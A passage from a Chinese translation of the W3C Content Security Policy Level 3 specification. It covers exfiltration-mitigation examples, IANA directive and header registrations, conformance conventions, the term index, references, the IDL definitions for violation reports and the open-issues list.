如果内容安全策略用于创建允许页面与之通信的服务器白名单,则可以减轻数据泄露。请注意,缺少 default-src 指令的策略无法减轻泄露,因为存在无法通过更具体的指令解决的请求类型(例如 prefetch)。[HTML]

在以下示例中,对图片、字体和脚本具有严苛限制的策略仍然可以通过其他请求类型(fetch()prefetch 等)允许数据泄露:[HTML]Content-Security-Policy: img-src 'none'; script-src 'none'; font-src 'none'

default-src 'none' 补充此策略将提高页面对此类攻击的稳健性。

在以下示例中,default-src 指令似乎可以防止泄露,但 img-src 指令通过使用通配符放宽了此限制,从而允许向任意端点泄露数据。策略的泄露缓解能力取决于最宽松的指令白名单Content-Security-Policy: default-src 'none'; img-src *

9. 实施考量

9.1. 特定于厂商的扩展和插件

强制执行于资源上的 策略 不应干扰插件、扩展或书签等用户代理功能的操作。根据 [HTML-DESIGN] 中所述,这些功能通常优先于页面作者。

此外,将 CSP 应用于此类功能会在违规报告中产生大量噪音,显著降低其对开发人员的价值。

例如,Chrome 从 CSP 检查中排除了 chrome-extension: 协议,并做了一些工作来确保扩展驱动的注入被允许,而不管页面的策略如何。

10. IANA Considerations

10.1. 指令注册

内容安全策略指令注册表应更新以下指令和参考 [RFC7762]

base-uri

本文档(见 § 6.3.1 base-uri

child-src

本文档(见 § 6.1.1 child-src

connect-src

本文档(见 § 6.1.2 connect-src

default-src

本文档(见 § 6.1.3 default-src

font-src

本文档(见 § 6.1.4 font-src

form-action

本文档(见 § 6.4.1 form-action

frame-ancestors

本文档(见 § 6.4.2 frame-ancestors

frame-src

本文档(见 § 6.1.5 frame-src

img-src

本文档(见 § 6.1.6 img-src

manifest-src

本文档(见 § 6.1.7 manifest-src

media-src

本文档(见 § 6.1.8 media-src

object-src

本文档(见 § 6.1.9 object-src

report-uri

本文档(见 § 6.5.1 report-uri

report-to

本文档(见 § 6.5.2 report-to

sandbox (沙箱)

本文档(见 § 6.3.2 sandbox

script-src

本文档(见 § 6.1.10 script-src

script-src-attr

本文档(见 § 6.1.12 script-src-attr

script-src-elem

本文档(见 § 6.1.11 script-src-elem

style-src

本文档(见 § 6.1.13 style-src

style-src-attr

本文档(见 § 6.1.15 style-src-attr

style-src-elem

本文档(见 § 6.1.14 style-src-elem

worker-src

本文档(见 § 6.2.2 worker-src

10.2. 头部

永久消息头部字段注册表应更新以下注册:[RFC3864]

10.2.1. Content-Security-Policy

头字段名称
Content-Security-Policy
适用协议
http
状态
标准
作者/变更控制者
W3C
规范文档
本规范(见 § 3.1 Content-Security-Policy HTTP 响应头部字段

10.2.2. Content-Security-Policy-Report-Only

头字段名称
Content-Security-Policy-Report-Only
适用协议
http
状态
标准
作者/变更控制者
W3C
规范文档
本规范(见 § 3.2 Content-Security-Policy-Report-Only HTTP 响应头部字段

11. 致谢

许多人都很棒。例如

  • Mario 和整个 Cure53 团队。

  • Artur Janc、Michele Spagnuolo、Lukas Weichselbaum、Jochen Eisinger 以及谷歌 CSP 团队的其他成员。

一致性

文档约定

一致性要求通过描述性断言和 RFC 2119 术语相结合来表达。本文档规范性部分中的关键词“MUST”(必须)、“MUST NOT”(不得)、“REQUIRED”(必需)、“SHALL”(应)、“SHALL NOT”(不应)、“SHOULD”(推荐)、“SHOULD NOT”(不推荐)、“RECOMMENDED”(建议)、“MAY”(可以)和“OPTIONAL”(可选)应按照 RFC 2119 中的描述进行解释。然而,为了可读性,这些词在本文档中不以全大写形式出现。

本规范的所有文本均为规范性文本,明确标记为非规范性的部分、示例和注释除外。 [RFC2119]

本规范中的示例均以“例如”一词引入,或者通过 class="example" 与规范性文本隔开,如下所示

这是一个说明性示例。

说明性注释以“Note”一词开头,并使用 class="note" 与规范性文本隔开,如下所示

注意,这是一个说明性注释。

一致性算法

作为算法一部分的祈使语气要求(例如“去除任何前导空格字符”或“返回 false 并中止这些步骤”)应根据引入算法时使用的关键词(“必须”、“应该”、“可以”等)进行解释。

以算法或具体步骤表述的一致性要求可以用任何方式实现,只要最终结果等效即可。特别地,本规范定义的算法旨在易于理解,而不旨在提高性能。鼓励实现者进行优化。

索引

本规范定义的术语

  • documentURI
  • SecurityPolicyViolationEvent 的属性,见 § 5.1
  • SecurityPolicyViolationEventInit 的字典成员,见 § 5.1
  • documentURL
  • URL 是否与源站表达式匹配(考虑重定向次数)?,见 § 6.7.2.7
  • 有效指令
  • effectiveDirective
  • 元素,见 § 2.4
  • "enforce"(强制执行),见 § 5.1
  • 已强制执行,见 § 4.2
  • EnsureCSPDoesNotBlockStringCompilation(realm, parameterStrings, bodyString, codeString, compilationType, parameterArgs, bodyArg),见 § 4.4
  • EnsureCSPDoesNotBlockWasmByteCompilationrealm,见 § 4.5
  • 获取指令,见 § 6.1
  • font-src,见 § 6.1.4
  • form-action,见 § 6.4.1
  • frame-ancestors,见 § 6.4.2
  • frame-src,见 § 6.1.5
  • 全局对象,见 § 2.4
  • 哈希,见 § 5
  • 哈希算法 (hash-algorithm),见 § 2.3.1
  • 哈希源 (hash-source),见 § 2.3.1
  • 主机字符 (host-char),见 § 2.3.1
  • 主机部分 (host-part),见 § 2.3.1
  • 主机部分匹配,见 § 6.7.2.10
  • 主机源 (host-source),见 § 2.3.1
  • img-src,见 § 6.1.6
  • 初始化,见 § 2.3
  • 内联检查,见 § 2.3
  • 文档是否允许设置 base 标签?,见 § 6.3.1
  • 关键字源 (keyword-source),见 § 2.3.1
  • 行号,见 § 2.4
  • lineNumber
  • manifest-src,见 § 6.1.7
  • media-src,见 § 6.1.8
  • 已监控,见 § 4.2
  • 名称,见 § 2.3
  • 导航响应检查,见 § 2.3
  • 随机数源 (nonce-source),见 § 2.3.1
  • 'none' (无),见 § 2.3.1
  • object-src,见 § 6.1.9
  • 可选 ASCII 空格 (optional-ascii-whitespace),见 § 2.1
  • originalPolicy
  • 解析响应的内容安全策略,见 § 2.2.2
  • 解析序列化的 CSP,见 § 2.2.1
  • 解析响应的内容安全策略,见 § 2.2.1
  • 路径部分 (path-part),见 § 2.3.1
  • 路径部分匹配,见 § 6.7.2.12
  • 策略,见 § 2.2
  • policy
  • 端口部分 (port-part),见 § 2.3.1
  • 端口部分匹配,见 § 6.7.2.11
  • 请求后检查,见 § 2.3
  • 潜在哈希报告,见 § 4.1.3
  • 导航前检查,见 § 2.3
  • 请求前检查,见 § 2.3
  • 引用页
  • "report"(仅报告),见 § 5.1
  • 报告请求的内容安全策略违规,见 § 4.1
  • 'report-sample' (报告样本),见 § 2.3.1
  • 'report-sha256',见 § 2.3.1
  • 'report-sha384',见 § 2.3.1
  • 'report-sha512',见 § 2.3.1
  • report-to,见 § 6.5.2
  • report-uri,见 § 6.5.1
  • 必需 ASCII 空格 (required-ascii-whitespace),见 § 2.1
  • 资源,见 § 2.4
  • 为文档运行 CSP 初始化,见 § 4.2
  • 为全局对象运行 CSP 初始化,见 § 4.2.5
  • sample (采样)
  • sandbox,见 § 6.3.2
  • 方案部分 (scheme-part),见 § 2.3.1
  • 方案部分匹配,见 § 6.7.2.9
  • 方案源 (scheme-source),见 § 2.3.1
  • script-src,见 § 6.1.10
  • script-src-attr,见 § 6.1.12
  • script-src-elem,见 § 6.1.11
  • securitypolicyviolation,见 § 5.5
  • SecurityPolicyViolationEvent,见 § 5.1
  • SecurityPolicyViolationEventDisposition,见 § 5.1
  • SecurityPolicyViolationEventInit,见 § 5.1
  • SecurityPolicyViolationEvent(type),见 § 5.1
  • SecurityPolicyViolationEvent(type, eventInitDict),见 § 5.1
  • 'self' (自身),见 § 2.3.1
  • self-origin (自身源),见 § 2.2
  • 序列化的 CSP,见 § 2.2
  • 序列化的 CSP 列表,见 § 2.2
  • 序列化的指令,见 § 2.3
  • 序列化指令 (serialized-directive),见 § 2.3
  • 序列化策略 (serialized-policy),见 § 2.2
  • 序列化策略列表 (serialized-policy-list),见 § 2.2
  • 序列化源列表,见 § 2.3.1
  • 序列化源列表 (serialized-source-list),见 § 2.3.1
  • 元素的内联类型行为是否应被内容安全策略阻止?,见 § 4.2.2
  • 某类型的导航请求是否应被内容安全策略阻止?,见 § 4.2.3
  • 目标中某类型的导航请求对应的导航响应是否应被内容安全策略阻止?,见 § 4.2.4
  • 请求是否应被内容安全策略阻止?,见 § 4.1.1
  • 请求的响应是否应被内容安全策略阻止?,见 § 4.1.2
  • ,见 § 2.2
  • 源表达式,见 § 2.3.1
  • 源表达式 (source-expression),见 § 2.3.1
  • 源文件,见 § 2.4
  • sourceFile
  • SecurityPolicyViolationEvent 的属性,见 § 5.1
  • CSPViolationReportBody 的字典成员,见 § 5
  • SecurityPolicyViolationEventInit 的字典成员,见 § 5.1
  • 源列表,见 § 2.3.1
  • 状态,见 § 2.4
  • statusCode
  • 'strict-dynamic',见 § 2.3.1
  • style-src,见 § 6.1.13
  • style-src-attr,见 § 6.1.15
  • style-src-elem,见 § 6.1.14
  • subresourceURL (子资源 URL),见 § 5
  • 'trusted-types-eval',见 § 2.3.1
  • 类型,见 § 5
  • 'unsafe-allow-redirects',见 § 2.3.1
  • 'unsafe-eval',见 § 2.3.1
  • 'unsafe-hashes',见 § 2.3.1
  • 'unsafe-inline',见 § 2.3.1
  • 'unsafe-webtransport-hashes',见 § 2.3.1
  • URL,见 § 2.4
  • ,见 § 2.3
  • violatedDirective
  • 违规,见 § 2.4
  • 'wasm-unsafe-eval',见 § 2.3.1
  • webrtc,见 § 6.2.1
  • WebRTC 预连接检查,见 § 2.3
  • worker-src,见 § 6.2.2
  • 通过引用定义的术语

    引用

    规范性引用

    [CSS-CASCADE-5]
    Elika Etemad; Miriam Suzanne; Tab Atkins Jr.. CSS Cascading and Inheritance Level 5. 2022年1月13日. CR. URL: https://w3org.cn/TR/css-cascade-5/
    [CSSOM]
    Daniel Glazman; Emilio Cobos Álvarez. CSS Object Model (CSSOM). 2021年8月26日. WD. URL: https://w3org.cn/TR/cssom-1/
    [DOM]
    Anne van Kesteren. DOM 标准. Living Standard. URL: https://dom.spec.whatwg.org/
    [ECMA262]
    Brian Terlson; Allen Wirfs-Brock. ECMAScript® 语言规范. URL: https://tc39.github.io/ecma262/
    [ENCODING]
    Anne van Kesteren. 编码标准. Living Standard. URL: https://encoding.spec.whatwg.org/
    [FETCH]
    Anne van Kesteren. 提取标准 (Fetch Standard). 生活标准. URL: https://fetch.spec.whatwg.org/
    [HTML]
    Anne van Kesteren; et al. HTML 标准. Living Standard. URL: https://html.whatwg.cn/multipage/
    [INFRA]
    Anne van Kesteren; Domenic Denicola. Infra 标准. Living Standard. URL: https://infra.spec.whatwg.org/
    [REPORTING]
    Ilya Grigorik; Mike West. Reporting API (报告 API). URL: https://wicg.github.io/reporting/
    [REPORTING-1]
    Douglas Creager; Ian Clelland; Mike West. Reporting API. 11 June 2025. WD. URL: https://w3org.cn/TR/reporting-1/
    [RFC2119]
    S. Bradner. RFC 中用于指示要求级别的关键词. 1997年3月. Best Current Practice. URL: https://datatracker.ietf.org/doc/html/rfc2119
    [RFC3492]
    A. Costello. Punycode: 用于应用程序国际化域名的 Unicode Bootstring 编码. 2003 年 3 月. 提议标准. URL: https://www.rfc-editor.org/rfc/rfc3492
    [RFC3864]
    G. Klyne; M. Nottingham; J. Mogul. Registration Procedures for Message Header Fields. September 2004. Best Current Practice. URL: https://www.rfc-editor.org/rfc/rfc3864
    [RFC3986]
    T. Berners-Lee; R. Fielding; L. Masinter. 统一资源标识符 (URI): 通用语法. 2005 年 1 月. 互联网标准. URL: https://www.rfc-editor.org/rfc/rfc3986
    [RFC4648]
    S. Josefsson. The Base16, Base32, and Base64 Data Encodings. October 2006. Proposed Standard. URL: https://www.rfc-editor.org/rfc/rfc4648
    [RFC5234]
    D. Crocker, Ed.; P. Overell. 语法规范的增强 BNF: ABNF. 2008 年 1 月. 互联网标准. URL: https://www.rfc-editor.org/rfc/rfc5234
    [RFC7762]
    M. West. 内容安全策略指令注册表的初始分配. 2016 年 1 月. 信息类 RFC. URL: https://www.rfc-editor.org/rfc/rfc7762
    [RFC8288]
    M. Nottingham. Web Linking. October 2017. Proposed Standard. URL: https://httpwg.org/specs/rfc8288.html
    [RFC9110]
    R. Fielding, 编辑; M. Nottingham, 编辑; J. Reschke, 编辑. HTTP 语义. 2022 年 6 月. 互联网标准. URL: https://httpwg.org/specs/rfc9110.html
    [SERVICE-WORKERS]
    Monica CHINTALA; Yoshisato Yanagisawa. Service Workers Nightly. 2026年4月9日. CRD. URL: https://w3org.cn/TR/service-workers/
    [SRI]
    Frederik Braun. 子资源完整性 (Subresource Integrity). 2026 年 3 月 20 日. 工作草案 (WD). URL: https://w3org.cn/TR/sri-2/
    [TRUSTED-TYPES]
    Krzysztof Kotowicz. 可信类型 (Trusted Types). 2026 年 2 月 24 日. 工作草案 (WD). URL: https://w3org.cn/TR/trusted-types/
    [URL]
    Anne van Kesteren. URL 标准. 生活标准. URL: https://url.spec.whatwg.org/
    [WEBIDL]
    Edgar Chen; Timothy Gu. Web IDL 标准. Living Standard. URL: https://webidl.spec.whatwg.org/
    [WEBRTC]
    Cullen Jennings; 等人. WebRTC:浏览器中的实时通信. 2025 年 3 月 13 日. REC. URL: https://w3org.cn/TR/webrtc/

    非规范性参考文献

    [APPMANIFEST]
    Marcos Caceres; Daniel Murphy; Christian Liebel. Web 应用清单. 2026 年 5 月 1 日. 工作草案 (WD). URL: https://w3org.cn/TR/appmanifest/
    [BEACON]
    Ilya Grigorik; Alois Reitbauer. Beacon. 2022 年 8 月 3 日. 候选推荐草案 (CRD). URL: https://w3org.cn/TR/beacon/
    [CSP2]
    Mike West; Adam Barth; Daniel Veditz. 内容安全策略 Level 2. 2016 年 12 月 15 日. 推荐标准 (REC). URL: https://w3org.cn/TR/CSP2/
    [CSS-ABUSE]
    Chris Evans. 通用跨浏览器跨域窃取. 2009 年 12 月 28 日. URL: https://scarybeastsecurity.blogspot.com/2009/12/generic-cross-browser-cross-domain.html
    [EVENTSOURCE]
    Ian Hickson. 服务器发送事件 (Server-Sent Events). 2021 年 1 月 28 日. 推荐标准 (REC). URL: https://w3org.cn/TR/eventsource/
    [FILEDESCRIPTOR-2015]
    filedescriptor. CSP 2015. 2015 年 11 月 23 日. URL: https://blog.innerht.ml/csp-2015/#danglingmarkupinjection
    [H5SC3]
    Mario Heiderich. H5SC 迷你挑战 3: "该死,竟然是 CSP!". URL: https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it%27s-CSP!%22
    [HTML-DESIGN]
    Anne Van Kesteren; Maciej Stachowiak. HTML 设计原则. URL: https://w3org.cn/TR/html-design-principles/
    [LONG-LIVE-CSP]
    Lukas Weichselbaum; et al. CSP 已死,CSP 万岁!论白名单的不安全性与内容安全策略的未来. 2016 年 10 月 24 日. URL: https://dl.acm.org/doi/10.1145/2976749.2978363
    [MIX]
    Emily Stark; Mike West; Carlos IbarraLopez. 混合内容 (Mixed Content). 2023 年 2 月 23 日. 候选推荐草案 (CRD). URL: https://w3org.cn/TR/mixed-content/
    [TIMING]
    Paul Stone. 像素级精确计时攻击. URL: https://owasp.org/www-pdf-archive/HackPra_Allstars-Browser_Timing_Attacks_-_Paul_Stone.pdf
    [UISECURITY]
    Brad Hill. 用户界面安全与可见性 API. 2016 年 6 月 7 日. 工作草案 (WD). URL: https://w3org.cn/TR/UISecurity/
    [UPGRADE-INSECURE-REQUESTS]
    Mike West. 升级不安全请求. 2015 年 10 月 8 日. 候选推荐 (CR). URL: https://w3org.cn/TR/upgrade-insecure-requests/
    [WEBDEV-STRICTCSP]
    Lukas Weichselbaum. 使用严格内容安全策略 (CSP) 缓解跨站脚本攻击 (XSS). 2021 年 3 月 15 日. URL: https://webdev.org.cn/strict-csp/
    [WEBSOCKETS]
    Adam Rice. WebSockets 标准. 动态标准. URL: https://websockets.spec.whatwg.org/
    [XHR]
    Anne van Kesteren. XMLHttpRequest 标准. Living Standard. URL: https://xhr.spec.whatwg.org/
    [XSLT]
    James Clark. XSL 转换 (XSLT) 1.0 版. 1999 年 11 月 16 日. 推荐标准 (REC). URL: https://w3org.cn/TR/xslt-10/

    IDL 索引

    dictionary CSPViolationReportBody : ReportBody {
      USVString documentURL;
      USVString? referrer;
      USVString? blockedURL;
      DOMString effectiveDirective;
      DOMString originalPolicy;
      USVString? sourceFile;
      DOMString? sample;
      SecurityPolicyViolationEventDisposition disposition;
      unsigned short statusCode;
      unsigned long? lineNumber;
      unsigned long? columnNumber;
    };
    
    enum SecurityPolicyViolationEventDisposition {
      "enforce", "report"
    };
    
    [Exposed=(Window,Worker)]
    interface SecurityPolicyViolationEvent : Event {
        constructor(DOMString type, optional SecurityPolicyViolationEventInit eventInitDict = {});
        readonly    attribute USVString      documentURI;
        readonly    attribute USVString      referrer;
        readonly    attribute USVString      blockedURI;
        readonly    attribute DOMString      effectiveDirective;
        readonly    attribute DOMString      violatedDirective; // historical alias of effectiveDirective
        readonly    attribute DOMString      originalPolicy;
        readonly    attribute USVString      sourceFile;
        readonly    attribute DOMString      sample;
        readonly    attribute SecurityPolicyViolationEventDisposition      disposition;
        readonly    attribute unsigned short statusCode;
        readonly    attribute unsigned long  lineNumber;
        readonly    attribute unsigned long  columnNumber;
    };
    
    dictionary SecurityPolicyViolationEventInit : EventInit {
        USVString      documentURI = "";
        USVString      referrer = "";
        USVString      blockedURI = "";
        DOMString      violatedDirective = "";
        DOMString      effectiveDirective = "";
        DOMString      originalPolicy = "";
        USVString      sourceFile = "";
        DOMString      sample = "";
        SecurityPolicyViolationEventDisposition disposition = "enforce";
        unsigned short statusCode = 0;
        unsigned long  lineNumber = 0;
        unsigned long  columnNumber = 0;
    };
    
    

    问题索引

    此类事项在任何地方有规定吗?我在 [ECMA262] 中没看到任何有用的内容。
    究竟该如何获取状态码?我们实际上并没有将其存储在任何地方。
    样式表加载尚未与 WHATWG HTML 标准中的 Fetch 集成。 [whatwg/html 问题 #968]
    这里需要更好的解释。 [w3c/webappsec-csp 问题 #212]
    对执行上下文做些有意思的处理,以锁定相关的 CSSOM 算法。我不认为 CSSOM 在这里提供了钩子,所以让我们与他们协作制定一个合理的方案。
    如果我们打算在这里记录这个错误,我们需要 HTML 中提供某种钩子。 [whatwg/html 问题 #3257]
    此过程旨在降低悬挂标记攻击 (dangling markup attacks) 的风险,这些攻击通过从现有元素中窃取随机数 (nonce) 来加载注入的脚本。然而,这相当昂贵,因为它要求我们遍历所有属性及其值以确定脚本是否应该执行。在这里,我们尝试通过仅对存在随机数的 script 元素执行此检查来最小化影响,但在了解其影响之前,我们大概应该将此算法视为“处于风险中”。 [w3c/webappsec-csp 问题 #98]
    目前 HTML 规范的解析算法在 § 6.7.3.1 元素是否可添加随机数?算法运行前就删除了这些信息,使得实际检测重复属性变得不可能。 [whatwg/html 问题 #3257]